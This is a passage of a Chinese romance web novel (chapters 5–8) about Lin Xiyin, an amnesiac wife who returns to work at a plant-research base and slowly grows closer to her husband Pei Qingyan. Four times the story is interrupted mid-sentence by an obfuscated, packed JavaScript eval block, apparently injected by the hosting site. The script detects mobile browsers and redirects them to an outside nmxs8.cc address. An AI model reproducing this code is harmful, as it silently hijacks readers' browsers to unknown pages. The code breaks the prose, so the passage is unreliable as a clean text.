林汐音愣了一下,甚至有些惊讶:“都是给我的?” “音音不喜欢吗?” “不,不是的……”林汐音很喜欢,但这毕竟是还没回忆起来的部分,她一时有些好奇,“也不知道是从什么时候开始喜欢花的,不过洋桔梗真的很漂亮,这束粉色镶边的很特别,等下送给许医生怎么样?” 裴清宴看起来不怎么情愿,不过还是认真的给建议:“蓝色的也许更合适。” “哦哦哦。”林汐音记下许听言的喜好,将蓝色花束摆在生日蛋糕旁边。 里里外外布置了一个钟头,快十二点的时候,裴清宴预定好的餐厅将午饭送上门,精致的餐具盛着美食,将摆满花的长桌丰富。 相隔几分钟,许听言也到了。 她比林汐音要高一些,长腿几步走到客厅,边脱大衣边犯职业病:“你后脑的伤怎么样了,听我哥说好的差不多了?” 林汐音迎上去:“已经彻底好了,谢谢你。”她把花递出去,“生日快乐,许医生。” 许听言接过花,表情和语气一样的淡:“……又是许医生?” 林汐音想到她们之前在医院见面时的场景,有些不好意思道:“以前的事情我还没有想起来,不知道怎么称呼你比较好。” “听言就好。”许听言把花搁在一旁,随手将后脑的长发扎起,帮她回忆道,“你和我哥结婚的时候我们见过一面,当时你是这么叫我的。” 终于有了合适的称呼,林汐音心里觉得高兴,走过去帮许听言拉开长桌的椅子,心情很好:“听言……你可以叫我音音。” 不过许听言看起来却不太认可,她走到林汐音身边,微微低头小声说:“虽然我也想这么叫你,但我哥可能会不高兴。” 林汐音没懂:“为什么啊?” 许听言耸耸肩,漂亮的眉毛轻扬:“他觉得我得叫你嫂子。” 林汐音下意识瞥向还在厨房准备餐具的裴清宴,有些不好意思地红了脸。 “你们这两天睡了吗?”许听言突然问道。 林汐音一瞬间被惊到,以为自己会错了意,张大嘴磕巴地否认:“没,没有啊……我们怎么会……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375667|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许听言冷静判断:“你身上有我哥的味道。” “那,那是因为……” “医生没叮嘱你们吗?受伤期间不要同房,免得不小心碰到伤口。”许听言平静地说着让人不平静的话,“我哥这么控制不住自己吗?” “没,没有的事。”林汐音脸红透,却不忘解释说,“是因为沐浴露,我,我们用的沐浴露是一样的……” 那天她说了裴清宴好香,当晚她的浴室里就多了一瓶全新的雪松香味沐浴露…… 许听言觉得她的反应很特别,一知半解地点了点头,还不忘总结说:“不过最近应该可以了,你伤不是都好了吗。” “……”林汐音很少有这么脸红无措的时候,低头抠着手指,眼神闪烁。 许听言察觉出一两丝,小声八卦道:“你们结婚都快三年了,还这么害羞啊?” 林汐音头埋得更低,只是一味重复:“之前的事情我还没想起来……” “哦哦,抱歉,我总忘记。” 话题结束于裴清宴选好餐具从厨房出来,林汐音在许听言旁边坐下,又被裴清宴请求换去了他身侧。 这一对兄妹话都很少,一餐饭吃完,几乎算是食不言。 饭后林汐音去洗裴清宴一早准备的草莓,许听言站在她一旁帮忙摆盘,看着颜色鲜艳便尝了一颗。 “好甜……”她皱眉。 林汐音洗草莓的动作一顿:“你不喜欢吃甜的吗?”怪不得蛋糕她也没吃几口。 “很少吃。”许听言继续摆盘,“你洗你的,反正我哥也不是给我准备的。”她边说边单手回微信消息。 林汐音关掉水,小声问:“我可以加你微信吗?” 许听言摊开微信二维码:“加吧。” 几秒加好,林汐音改备注时顺手点开了许听言的头像:“哇,好漂亮啊……” 许听言和裴清宴一样个子很高挑,五官是明艳张扬的漂亮,虽然她大部分时间看起来疏离冷漠,但偶尔像照片里这样笑起来,就会漂亮的让人移不开眼。 “很早以前的照片了……”许听言敛眸陷入回忆,又很快抽离,“只有照片漂亮吗?我本人不漂亮?” 林汐音抬头诚恳道:“你本人更漂亮!” 话音刚落,视线突然被一个高大的身形占满,裴清宴毫无预告的挤进两人中间,接过林汐音手里的草莓:“我来吧。” 林汐音愣了一下,小声道:“听言不爱吃这个。” 裴清宴很淡地“嗯”了一声,侧身提醒许听言:“时间不早了,什么时候回去。” 还不到两点。 林汐音心道其实还早…… 许听言白眼差点翻上天:“马上就走,保证你很长一段时间都见不到我。” 裴清宴照例提醒:“清明后是家宴。” “和我有什么关系。”许听言人已经走到客厅,拎起大衣,摆手道,“理由就和之前一样,说我还没回国就好。” 林汐音追上去,还有点不舍:“不再坐一会儿吗?” 许听言毫不留情地点评亲哥:“我哥心眼儿很小啊,你看不出来吗?你夸我漂亮他都吃醋,再待下去恐怕他以后都不许你和我联系。” 林汐音一时怔住,显然是没反应过来。等她意识再回笼,人已经关门离去。 裴清宴将洗好的草莓放在沙发前的矮桌上,走过来牵林汐音的手:“要不要吃点草莓?” 他指尖摩挲着她的左手无名指,声音很轻,像在自言自语:“音音好像和小言变得很亲近……” 林汐音眨眨眼,脑袋似梦似醒:“啊是的。” 裴清宴低垂着眼睫看她,哑声叹了一口气。 林汐音立马紧张起来:“怎么了?” “我是在想……”裴清宴笑笑,“音音什么时候可以和我变亲近些。” 5. 隐婚 心跳好快。 最近心总是跳好快。 林汐音一边视线闪躲,一边又分神思考是不是该去找许听言看看心脏…… 好在裴清宴没有继续追问,只牵着她往沙发边走,林汐音亦步亦趋地跟着,紧张的掌心发了汗。 裴清宴很敏锐地察觉:“音音觉得热吗?” “还好。”林汐音在沙发坐下,左手与他分离,五指得到一点放松。 裴清宴将室内温度调低。 林汐音注意到矮桌上洗好的草莓,又想到许听言的话,斟酌了几秒,塞了两颗进嘴里。 她垂眸品尝起来,长而密的睫毛随着脸颊的动作轻微颤动。 裴清宴看得很认真:“怎么样?” 林汐音毫不吝啬地夸赞:“很好吃,我很喜欢,谢……”谢字刚开一个头,脑海里突然跳出好几个画面,于是她紧急改正,用叉子戳了一枚新的草莓,转头问裴清宴,“你要尝尝吗?” 她脸颊被塞的满满的,声音也带了一点黏糊。 裴清宴的心脏好似被羽毛掠过,很痒很胀。他没有接过林汐音递来的叉子,反而大手包裹住她手指,将草莓递到唇边咬下。 她怔怔的,他却坦然的很:“很好吃。” 林汐音不敢和他对视,视线乱飘时正好瞥见了上午挪到客厅的几捧洋桔梗。 她想了想,转回头和裴清宴商量道:“周一我想回植物研究基地去上班……” 她这几天空闲时,联系了植物研究基地的张院长,谁知对方接到她的电话很惊讶,问她什么时候回国的,还以为她再也不回植物研究院了。 林汐音很困惑,小心翼翼打听了一下才知道,原来去年下半年的时候她请了假,说要陪林章越去国外度假。 院长原以为她过完年就回来,没曾想这一眨眼就过去好几个月。但因为是投资大老板的女儿,院长也不好多问,只当她是不愿意再吃风吹日晒的苦,回去当千金大小姐了。 林汐音为自己的旷工行为诚恳道了歉,却不敢多提脑袋暂时不灵光的事情,只说了周一想回去上班。 院长一听大为痛快:“太好了院里有救了,你都不知道你走这半年我是怎么过来的,你之前吃的那些苦根本没人愿意继续吃啊……” 林汐音:“……” 院长:“我是说没人像你这么热爱植物……哈哈……” 出国几个月倒是很好理解,林章越向来是心血来潮就会去国外住个一年半载,最长的一次他们父女俩得有十四个月没见过面。后来还是因为她觉得林章越年纪越来越大,想多陪在他身边,所以很多次出国都陪他一起。 只是她不免还是会疑惑,她都结婚了,就这样抛下裴清宴去了国外吗?听起来很不负责任的样子…… 于是林汐音小心试探院长,问她只是和林章越一起去了国外吗,没有和其他比较……亲密的人一起吗? 她暂时还说不出老公两个字。 哪知院长更加疑惑:“没有听你提起过啊,亲密的人?啊……难道你出国这么久没回来,是在国外结婚了?” 林汐音一听这话吓得立马把电话断了。 事情变得复杂了…… 怎么她还隐婚啊…… 难怪她没有戴婚戒,甚至就连结婚的朋友圈都是仅自己可见,原来除了两家以外根本没人知道她结婚的事情…… 林汐音又想起爸爸的那句“他有那么好?我女儿想要什么样的男人没有!” 所以结婚这几年来,爸爸其实并不满意裴清宴?很有可能这次出国就是为了拆散他俩…… 林汐音自认为故事线被她串的很好很合理,只是她没想到自己这几年竟然变得这么不负责任…… 林汐音谴责自己太不顾家,回过神来后向坐在她一边的裴清宴保证道:“你放心,即使去上班,我也会每天回家的。” 裴清宴不知道她刚刚经历了复杂的心理活动,愣了下,笑道:“我知道。” 林汐音很惊喜:“那我周一想去上班,可以吗?” “当然。”裴清宴不觉得这有什么,“这是你的事情,你有决定的权利。” 林汐音更愧疚了:“之前我和爸爸去了国外很久,你应该不太开心吧……” 她自顾自地揣摩,继续道:“我爸爸总是这样心血来潮,虽然我想不起来我为什么会答应,但我就这样丢下你走了很久也是我不好。我答应你下次一定不会了,你放心。” 裴清宴不知道她获取的消息是哪里出了纰漏,但她真挚和他保证的样子,让他无法、也甚至有些不愿去纠正。 他只能低声说好,像一个居心叵测的坏人。 林汐音鼓足勇气凑近他,今天不知道第几次向他保证道:“我一定会努力的。” 裴清宴比刚刚更茫然:“什么?” 她鼓足勇气:“我会努力回忆的,就算暂时想不起来……我也会尽快和你亲近起来的。” 裴清宴有一瞬的恍惚。 “好。”他终于肯笑,“我会很期待。” …… 林汐音这些天虽然一直待在家里,但也没闲着,不仅把植物院同事们的朋友圈研究了一遍,还顺便搜了搜近几年的新闻恶补。 还好她在植物研究基地的时候也没做什么核心工作,大部分时间都是根据自己的爱好种种花除除草,偶尔基地门前的老银杏生病了,就会交给她来看管想办法。 闲人一个,哪怕失忆了,工作也还能上手。 周一早上,裴清宴送林汐音去了植物研究基地。 正是上班高峰期,林汐音怕同事看到,提前一个路口就下了车,倒不是怕大家知道她的身份,而是她结婚那事……似乎还得继续保密下去。 林汐音关上宾利车门,透过车窗冲后座的裴清宴摆手道别。 结果手还没来得及放下,肩膀突然被人碰了一下。 “学姐?”身后响起一道轻快的女声。 林汐音回过身,认出了喊她的人,关颖。 “哇真的是学姐你啊。”关颖个子不高,仰头看林汐音时眼睛睁的很圆,“学姐好久不见,没想到能在这里见到你!” 林汐音紧张起来:“好久不见……” “哇……学姐这是你家的车吗?好好看!诶,是谁送你上班……” 关颖话没说完,林汐音发现车窗正在缓缓摇下,于是她忙挎着关颖手臂离开,胡乱道:“哥……是我哥哥送我来的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375668|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关颖很疑惑:“学姐还有哥哥吗?以前没听你说过诶……” 很少说谎的人编起谎言来都很拙劣,林汐音大脑飞速运转,想到了许听言:“是我……好朋友的哥哥。” “哦哦。”关颖没多想,继续问,“学姐你这个时间出现在这里,是准备去上班吗?” 林汐音点点头:“是啊。” “没想到学姐这样的家庭,也需要上班啊……”关颖忍不住好奇,“这个世界到底是谁不用上班……” “……”其实也不完全算上班,林汐音有些不好意思。 “不过学姐是要去哪上班啊?你毕业以后我们就没有见过呢。” 还好没有见过,不然林汐音都不知道该说些什么,毕竟毕业后的事情她也都不记得了。 林汐音放松下来,指了指前面路口的园区大门:“就在那儿。” “这么巧!”关颖觉得不可思议,“上个月我刚刚面试通过,这段时间都在这里实习诶。” 林汐音没听说过院里除了她以外还招过实习生,一时有些疑惑:“院里实习的内容是什么啊……” 交谈间走到园区门前,关颖指了指那颗老银杏:“照顾它。” 林汐音:“……” 想必这就是院长口中她走后没人愿意吃苦的工作了…… 看着熟悉的老银杏,林汐音大脑一瞬间好似闪过这几年照料它的画面。看来这三年不止千屿市没什么变化,这植物院其实也一如往常。 今天院长不在,林汐音也没特意去报道,原本她在基地里上班也不需要打卡。 当初林章越为她买下这基地,只是为了她想种花种树的时候有个地方可以施展,毕竟青杉居的花园早已被她占满,没多余地方可折腾了…… 林汐音去到自己以前负责的温室区域,看到成片的洋桔梗花田,怔了几秒。 “好看吧?”关颖在她身侧小声赞叹。 林汐音说:“很漂亮。” 关颖把自己实习这一个月听来的八卦大方分享:“听说这一小块地之前都属于咱们基地投资人的女儿,但她去年年底的时候突然出国了。当时这片洋桔梗正值花期开的特别漂亮,院长不知道怎么办就去问了投资人,结果老板只说不要了随他处理……还好后续有人接管了。” 话说到这里,关颖声音变小了一些:“这件事听说知道的人不多,毕竟是投资人女儿管理的区域,院长擅自把它交给别人其实也很忐忑,但总不能放着不管任它们过了花期凋零,院里其他同事都有负责的区域,其实还挺忙的。” 林汐音再次陷入自责,同意道:“你说的对。” “听说接管的那个人不是咱们院里的。但据说也很有钱,院长这人一听到钱就六神无主的,说给人家就给了。好在这人很有责任心,把这些花都照顾的挺好的。” 林汐音盯着花田,回忆起家里摆放的那些漂亮洋桔梗,自责的同时也很感谢,还好有人照料了这些花。 林汐音想要好好感谢,也想顺便看看能不能把这块地再接回来。 “颖颖,你知不知道接管这片区域的人是谁啊?” “具体不太了解,不过听院长提起过那个人好像……”关颖想了想,“好像姓裴吧。” 6. 想他 阳光不错,林汐音难得放空地坐在花田边上,吹着风欣赏遍地洋桔梗。 这块地暂时不需要她种花,院里也不需要她再照顾那棵老银杏…… 失忆好像顺便也让她“失业”了。 闲来无事开始拍照片,没多久手机“嘀嘀”响了两声,将她的思绪唤回。 是裴清宴发来的微信消息:【今天感觉怎么样?】 林汐音看着屏幕显示的【冷冰冰汤圆】,愣了片刻,这段时间他们一直住在一起,没有发过微信,她早已把这个称呼忘在了一边。 林汐音回复:【感觉很闲……】文字不够表达情绪,她又发了一个小猫无聊的表情。 下条信息进来前,她点开裴清宴的头像,在备注框里思考自己为什么会给他取这个名字…… 回忆几秒,没想起来,裴清宴又问:【花还喜欢吗?】 林汐音摩挲屏幕的指尖一顿,想到早上关颖说起接管这片花田的人好像姓裴…… 她犹豫两秒,打字:【很喜欢。】 然后又问:【我不在的这段时间,是你一直在照顾这些花吗?】 林汐音盯着手机等了一会儿,没得到他的回复,手机屏幕也黑了下来。 估计是在忙,林汐音又把视线放回花田。 她一时半会儿无法回忆起之前这片花田在她负责的时候是什么样子,可是单从现在来看,这段时间照料它的人一定用了很多心思。 林汐音仿佛能看到一个在花田里忙碌的高挑身影,摘残花、修枝桠、为土壤疏松透气……冬天为了让它们持续开的漂亮,早晚应该都很忙碌吧。 就这样想着,手机又“嘀嘀”响了起来。 她垂眸,锁屏上显示—— 【冷冰冰汤圆:是。】 几秒后。 【冷冰冰汤圆:你不在的这段时间。】 【冷冰冰汤圆:每天都很想你。】 林汐音心跳起来,她滑开屏幕,看着这些文字,觉得对面人明明一点也不冷冰冰啊。 好想见到他。 林汐音仰头,发现今天阳光真的很好。不忍再浪费,她低头打字—— 【我今天可以早点下班。】 【晚饭你想吃什么?】 【饭后要看电影吗?】 【感觉这三年应该有不少好看的电影……】 【可惜我都想不来了╥﹏╥...】 林汐音一连发了五条消息,等回复的时候又切换到张院长的对话框,毫无责任心的发送:【院长抱歉,我最近可能没法每天都来上班……】 张院长倒是回的很快:【怎么突然说奇怪话?你除了实习期什么时候全勤过?】 林汐音:“……” 好吧,那她此刻也算是和毕业后的“林汐音”做到人设一致了…… 愧疚心降低几分,林汐音发了个小猫羞愧的表情就结束了和张院长的对话。 再切回裴清宴的对话框,他回复了好,又问她几点下班,是不是还在早上停车的路口接她。 林汐音想了想:【五点,我在基地门前等你。】 …… 五点还没到,林汐音走出植物院大门,加长宾利已经停在路边。 这个时间大部分人还没下班,街道显得很冷清。她走过去,司机拉开后排车门。 林汐音道谢后落座,递给裴清宴一束她新摘的洋桔梗,香槟色。 裴清宴一怔。 林汐音说:“这几朵开得最漂亮,我很喜欢,所以想把它们送给你。” “为什么。” “啊?” “你很喜欢。”裴清宴声色很沉,“既然喜欢,为什么要送给我。” 阳光打在车窗玻璃上,投下斑驳的热影,林汐音看着裴清宴同样热的眼神,一时有些忘了反应。 他伸手将前排与后座间的隔挡升起。 车子发动声提醒她回神。 空间骤然变小,林汐音耳根热起来,嘴巴也不听使唤:“因、因为……” 裴清宴向她靠近,低肩仰头,寻她的眼睛,继续问:“为什么?” 林汐音举着花的手因为紧张发汗,看到他凑近,下意识把花束塞进他怀里:“为,为了感谢这段时间你对它们的照料……” 花瓣轻柔扫过裴清宴鼻尖,他被花香包围,很轻地笑了一下。 林汐音一时有些看呆。 他抬起眼,俊脸因为笑容更加迷人:“谢谢音音,我很高兴。” “不,不客气。” 林汐音瞥开视线,觉得这橘色夕阳好热好热。 很快到家,裴清宴将提前准备好的晚饭食材摆上料理台,嘱咐林汐音可以先休息一下,大概半个小时就好。 他脱掉西装外套,随手松了松领带,挽起袖口走去洗手台,他身量高,要微压肩骨才能将一双手递到水流下。 淅沥沥的水冲过他有力的腕骨,滑过修长的骨节,最后流去指尖滴落。 慢条斯理,优雅清冽。 林汐音看的入迷,直到水流休止她才回过神。 裴清宴将手擦净,回身撞上她的目光。 林汐音鬼迷心窍地说:“我帮你吧。” “可以吗。”裴清宴走过来,却没拒绝,“我怕你会累,上一天班应该要好好休息。” “不累不累的。”林汐音绕过岛台,挽起袖口去洗手,“因为你把花都照顾的很好,所以我今天很闲的……啊,可能这段时间都会很闲。” 林汐音挤满泡沫,认真揉搓指尖。 裴清宴走近,伸手,帮她抬起阀门。 他们靠的好近,林汐音冲干净手,他又摁下阀门,在她抬起头前抽了纸巾,按上她湿淋淋的手背。 林汐音心跳起来。 裴清宴仔细擦净她十指的水,两双手有几个瞬间交缠在一起。 裴清宴声音很低,带了几分沉:“今晚吃奶油千层意面,可以吗?” 林汐音莫名其妙咽下口水:“好,好的。” “要加一点松露吗?” “好啊。” “蘑菇呢?” “好啊。” 手擦干净,裴清宴却不肯松开,笑着低眉看她,声色慵懒勾人:“这么乖,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375669|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么都好?” 林汐音脸热起来,想抽回手:“因为这些……我都很爱吃啊。” “嗯。”裴清宴顺势松开她,拉开一点距离,“喜欢的话多吃一点好不好,医生也有说你太瘦了。” “我最近其实胖了不少的……”林汐音下意识捏了捏腰上的肉,想起昨晚体重秤上的数字,嘟囔道,“我马上就九十五斤了……” 她只是认真吃了一周的三餐而已,那不知怎么减掉的体重说涨回来就涨回来了…… 裴清宴目光随她停在那抹大概一只手就能掌住的腰上,顿了两秒,不着痕迹地移开视线。 回到料理台,他拆起食材包装。 林汐音跟在他身后,很尽职:“我可以做些什么?” “陪我说说话。” 裴清宴熟练地处理起食物,井然有序的样子让林汐音暂时没法插手。 那就不添乱了。 她点点头,很听话的说好,又说:“如果有需要一定要安排给我哦。” 裴清宴徐徐笑起来:“好。” 说是陪他聊天,但其实大部分时间都是林汐音在说话,她一会儿好奇奶油千层面的做法,一会儿又疑惑他为什么会做这些,直到食物进入烤箱,她才短暂抽离提问,认真感慨了一句。 “哇,一定很好吃!” 裴清宴单手向后撑在岛台,侧身垂眸,看她毛茸茸的脑袋凑近烤箱。 他抬起另一只手贴在她额头,很轻地碰了下,提醒她:“不要靠太近,当心烫到。” 他指尖清凉,有和她同款的洗手液青桔香味。 林汐音直起身,挠了挠被他触碰的额前发。 等待烤箱工作的间隙变得沉默,裴清宴低颈看了她一会儿,慢悠悠道:“早上下车时遇到的那位,是音音的朋友吗?” 林汐音回忆了下:“关颖嘛?她是我同专业的学妹。” “原来是这样。” 裴清宴点点头,又问:“那我呢?” 林汐音没明白:“什么?” “她是学妹,我是……”裴清宴顿了下,低头向她靠近,“是哥哥吗?” 他挂着浅笑的俊脸贴近,林汐音紧张地退后半步。 早上的对话竟然被他听到了啊…… 林汐音有些无措地和他错开视线,下一秒裴清宴温热的掌心贴在她背脊,她被迫顿住脚步。 “对,对不起……”她不敢抬头,声音也很小,“我后来有解释过的,是……是好朋友的哥哥。” “好朋友的哥哥。”裴清宴笑着问,“只是这样吗?” 林汐音紧张地吞咽,难道他是在因为她不肯公开婚姻关系而不满吗?可看他表情又不像…… 他掌心好烫,几乎要烫红林汐音的脸。 她想拉开一点距离,可他却低笑着靠的更近。 林汐音呼吸越发急促,在他继续靠近时将脑袋埋低,怎么都不肯看他。 裴清宴宽大的手掌顺着她纤瘦的背下滑,短暂在腰间停了一瞬,最终牵起她的手。 他讨好地勾她小指,声线很柔:“理理我,好不好。” 7. 电影 林汐音抽回手,他又追上去。 你来我往了两个来回,她先败下阵,任他勾着她的手,声音也小起来:“……没有不理你。” 同时间烤箱“叮”的一声宣告工作完毕。 裴清宴牵着她远离热源,自己又回身戴上手套,将烤好的千层面取出。 林汐音从善如流地在桌边坐下,目光追随着他……手里的意面,眼睛也亮起来。 裴清宴将托盘放下,递给她一副刀叉,叮嘱说:“小心烫。” 林汐音心不在焉地点头:“好香好香。” 她胡乱吹了几下就将意面裹满奶油塞进嘴里,甜咸的口感瞬间占据口腔,而黑松露又恰到好处的解了那分腻。 她好喜欢,脸颊撑的鼓涨,声音也含糊不清。 “好好次……” 裴清宴近乎痴迷地看着她,怕她噎到,递给她柠檬水,又夹了一些肉在她盘里。 林汐音埋头吃了一会儿,再抬头时很疑惑:“你不吃吗?” “我暂时不饿。”裴清宴看她含水的眼睛泛着光,心软的一塌糊涂,却还想逗逗她,“音音不是说过喜欢我瘦一点吗?为了保持你喜欢的样子,我好辛苦。” “是,是吗?” 林汐音瞪圆眼睛,没想到自己这么过分,竟然还束缚别人,她愧疚道,“你不要理会我那些话了,这个意面真的很好吃的。” 她说着,拿起还未使用的另一支叉,卷起完整的千层面一角,递去他唇边,软声道:“你要不要尝一尝,真的很好吃。” 裴清宴佯装纠结,又在她炽热的眼神祈求下搭上她指尖,配合地咬下一口。 林汐音很期待:“很好吃对不对?我没有骗你吧……” “嗯,很好吃。”裴清宴坏心眼道,“音音不会骗我。” “那你也多吃一点,不然我一个人吃这么多,会有很强的负罪感的。” “那你还会继续喂我吗?” “……啊?” 裴清宴垂下眼睫,好似有一丝失落。 林汐音立马补充:“可,可以的……” 一顿餐吃完,林汐音感觉疲惫又满足。 疲惫是因为她那难缠又勾人的老公,满足是因为她已经好久没有吃过这么合口味的食物了,这让她不禁疑惑—— 难道她婚后一直过着这样每天能尝到美食的好日子吗…… 那她为什么还瘦了近十斤啊…… 想太多大脑又有一丝痛,林汐音最近已经学会了不勉强。 洗碗机开始运作,裴清宴走近询问她的意见:“等下想看什么电影?” 天色还早,明天也不打算去上班,林汐音想了想,说:“想看恐怖一点的。” 裴清宴对此毫无异议。 林汐音又说:“但我可以先洗个澡嘛?” 她习惯在很轻松舒适的状态下看电影。 裴清宴说好,又告诉她:“二楼书房对面是放映室,你知道对不对,等下我们可以在那里见。” 林汐音似懂非懂地点头,她对那个房间有印象,只是还没进去过。 没想到竟然是放映室,看来他们以前也经常一起看电影…… 很快洗好澡,林汐音走到门口,裴清宴已经等在里面。 门没关严,她推开进去。 屋里灯光很暗,唯一的光源来自巨幅幕布的显示界面,但也足够看得清。 只是…… 这房间看着很大,怎么只有一个双人沙发啊…… “音音?” 林汐音抬头,喊她名字的人走近,好闻的雪松香气也扑面而来。 好奇怪,他们明明用着同款沐浴露,可为什么她总是更迷恋他身上的味道。 身后门被关上,房间又暗了几分。 “怎么在发呆。” 距离很近,裴清宴轻易就牵起她的手。 “这个房间好漂亮啊。”林汐音环顾一圈,发现四面墙壁都贴了深蓝色的哑光壁纸,房间暗下来后,星星花纹泛着很浅的夜光,和头顶的星空顶很配。 裴清宴晃晃她的手:“喜欢的话,我们以后也要经常一起看电影,好吗?” “好啊。” 在双人沙发坐下,林汐音下意识往边上靠了一点。 裴清宴跟着贴过来,在她投来疑惑眼神前,解释说:“恐怖片,我会害怕。” “啊?那我们要不要换个其他类型的电影看?” “不用。”裴清宴摊开一条毛绒小毯,盖在她腿上,说,“有音音陪着我,就不会怕了。” 其实她胆子也蛮小的…… 只是人菜瘾大…… 肩上突然多了重担,林汐音挺直腰背,主动回握住他的手:“如果害怕的话可以躲在我身后的。” 裴清宴看着她单薄的身板,笑道:“好的。” 这三年上映的恐怖片不算少,林汐音从一众中式恐怖里挑了部民国的,想着时代离现在比较远,也许少一些代入感,就会没那么害怕。 电影开始前半程果然很平淡,除了阴森的音效让人紧张,其余都还在承受范围内。 林汐音心道自己选对了,甚至还分神轻拍了下裴清宴手背,安抚他说:“这个不恐怖的,别紧张。” 裴清宴低头看她因不安而微颤的眼睫,紧抿的唇,以及……鼻尖的那颗小痣。 心口有点痒。 裴清宴移开视线,喉咙有些紧。 下一秒屏幕里突然出现一个倒挂的红衣女鬼,林汐音毫无准备,一瞬间抓紧了裴清宴的手。 四目相对,林汐音心神一震,不忘关切道:“……没有吓到你吧。” 他们靠的很近,裴清宴几乎不费力就可以将她困在怀里。 但暂时还不能这么做,于是他点点头,说:“女鬼突然出现,很吓人。” “是吧!”林汐音简直不能更同意,身体无意识时贴他更近,仿佛两个人要互相依靠才会没那么恐怖,她说,“这种突然袭击是蛮吓人的,是我放松警惕了,接下来我一定会提高防备的。” 她说着又把目光移回幕布,后面十分钟果然看得认真,拉高心理防火墙后好几个恐怖点她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375670|168324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有再被吓到。 裴清宴一瞬间觉得有些闷,早知道就该选个更恐怖的。 好想抱她。 就这样又过了十分钟……林汐音越看越投入,甚至可以预判恐怖点,胆子好像也上升了几度。 眼看电影就要播完,裴清宴转过脸看她,声音很低:“可以抱你吗?” 林汐音注意力从电影里抽离,以为自己听错了:“什么?” “我想抱着你。”裴清宴垂首贴上她的肩膀,身体却没再靠近,“感觉有点害怕,抱着你也许会好一点。” 他的气息扑在她肩窝,有些酥麻,又有些痒。 林汐音还没说话,裴清宴又补道:“以前我们也会这样一起看电影。” 他突然提起以前,林汐音不免又开始幻想,所以从前他经常陪她看恐怖片吗? 明明自己很害怕,却还是会迁就她的喜好…… “好吧。”林汐音心软下来,甚至还感受到一丝欢喜,“害怕的话暂时先不要看了,这段剧情我可以讲给你听。” 得到准许,裴清宴伸长手臂,掌心贴在她腰际,微微拢紧。 颈肩热气腾腾的呼吸好难忽视,林汐音整理了半天,才将注意力又放回电影里。 好在他没有多余的动作,看来是真的害怕。 电影后半程进度很快,结局不出所料一切又都是主角的幻想,但好在剧情还算精彩,没有浪费掉这一段时间。 林汐音觉得很满足,甚至开始构想下一次看电影选在什么时候比较好,或许应该选一部裴清宴喜欢的电影? 但如果他看过的话,会不会觉得无聊啊……可是电影院的话她又不是很爱去…… 胡思乱想间,颈窝被蹭了一下。 林汐音瞬间僵直身体。 裴清宴微仰起头,呼吸的热气窜进她耳骨,她顿觉耳廓发烫,偏头躲开一些。 “再多抱一会儿好吗。”他吐息间又道,“明天我会很晚回来,后天也是。也许这几天会见不到面,但我会很想你。” 两人贴的很近,几乎算是耳鬓厮磨。 林汐音心神不宁,好在电影的片尾曲还没结束,不然安静的氛围更让人难耐。 但她撑了几秒,还是撑不住了:“肩膀有些麻……” 裴清宴稍顿,终于舍得从她肩窝起身:“我会安排好午餐和晚餐送到家里,早上可以赖床多睡一会儿,但中午要按时吃饭,好吗?” 林汐音点点头:“你也是。” 裴清宴笑起来:“晚上要早点休息。” “不用等你嘛?”林汐音思考了一下,以为自己理解错了,“晚上你不是会回来吗?” 裴清宴已经有好几天没有陷入回忆,可这一瞬间还是被突然涌来的那些过去包围,有几秒钟忘记反应。 林汐音总是习惯等他回家,从前就爱等。 哪怕他很少或是很晚回来。 时空好似重叠,他一时陷入沉默。 林汐音想着他说的很晚也许是后半夜,便也没再执着,只说:“我会早点休息的,你放心。” 8. 旧事 林汐音回屋睡觉,本以为刚看完电影的大脑会很兴奋,谁知因为精神放松,身体反而很快进入睡眠。 她睡得很沉。 后半夜梦到一些旧事。 同样是这样的傍晚,同一间放映室,她和裴清宴并肩坐在双人沙发里看电影。 不同的是梦里她不像今晚这样放松,一部电影没播完,她却十足紧张,偷偷看他好多次,直到被他提醒专心一点,才肯移开目光。 再后来梦境转化,变成她一个人,窝在沙发里昏昏欲睡。 